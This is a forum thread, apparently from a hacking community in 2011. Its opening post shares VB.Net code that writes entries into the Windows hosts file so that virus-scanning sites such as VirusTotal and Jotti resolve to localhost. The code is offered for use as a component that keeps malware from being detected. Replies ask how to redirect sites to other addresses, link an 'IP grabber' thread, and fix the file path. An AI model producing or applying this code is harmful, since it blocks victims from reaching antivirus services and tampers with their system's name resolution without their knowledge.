Login Register






[VB.Net] Local Host Block - 127.0.0.1 filter_list
Author
Message
[VB.Net] Local Host Block - 127.0.0.1 #1
Dim path As [String] = "%windir%\system32\drivers\etc\hosts"
Dim sw As New IO.StreamWriter(path, True)

On Error Resume Next
Dim x1 As [String] = vbLf & "127.0.0.1 www.virusscan.jotti.org"
sw.Write(x1)
sw.Flush()

On Error Resume Next
Dim x2 As [String] = vbLf & "127.0.0.1 www.vscan.novirusthanks.org"
sw.Write(x2)
sw.Flush

On Error Resume Next
Dim x3 As [String] = vbLf & "127.0.0.1 www.novirusthanks.org"
sw.Write(x3)
sw.Flush()

On Error Resume Next
Dim x4 As [String] = vbLf & "127.0.0.1 www.virustotal.com"
sw.Write(x4)
sw.Flush()

Spoiler: Credits

Credits go to the programmer which i don't remember.
(This post was last modified: 02-19-2011, 12:57 PM by Skullmeat.)
Pierce the life fibers with your drill.

Reply

RE: [VB.Net] Local Host Block - 127.0.0.1 #2
Good Job bro <3

On Error Resume Next
Dim x1 As [String] = vbLf & "127.0.0.1 http://hackcommunity.com"
sw.Write(x1)
sw.Flush()

can i just redirect it to somewhere?
[Image: 5DQAS.gif]

May the force be with you...

Reply

RE: [VB.Net] Local Host Block - 127.0.0.1 #3
yep. you just need the site's IP. how to get that? http://hackcommunity.com/Thread-616-s-IP-grabber

The source is included too.
Pierce the life fibers with your drill.

Reply

RE: [VB.Net] Local Host Block - 127.0.0.1 #4
You should not hard-code C partition though, use this instead:

%windir%\system32\drivers\etc\hosts
[Image: rytwG00.png]
Redcat Revolution!

Reply

RE: [VB.Net] Local Host Block - 127.0.0.1 #5
omg that really works? tnx man! i've always done alot of string replacement to get the main drive!
Pierce the life fibers with your drill.

Reply

RE: [VB.Net] Local Host Block - 127.0.0.1 #6
Thats Cool Dude Smile
Keep it up Wink

Reply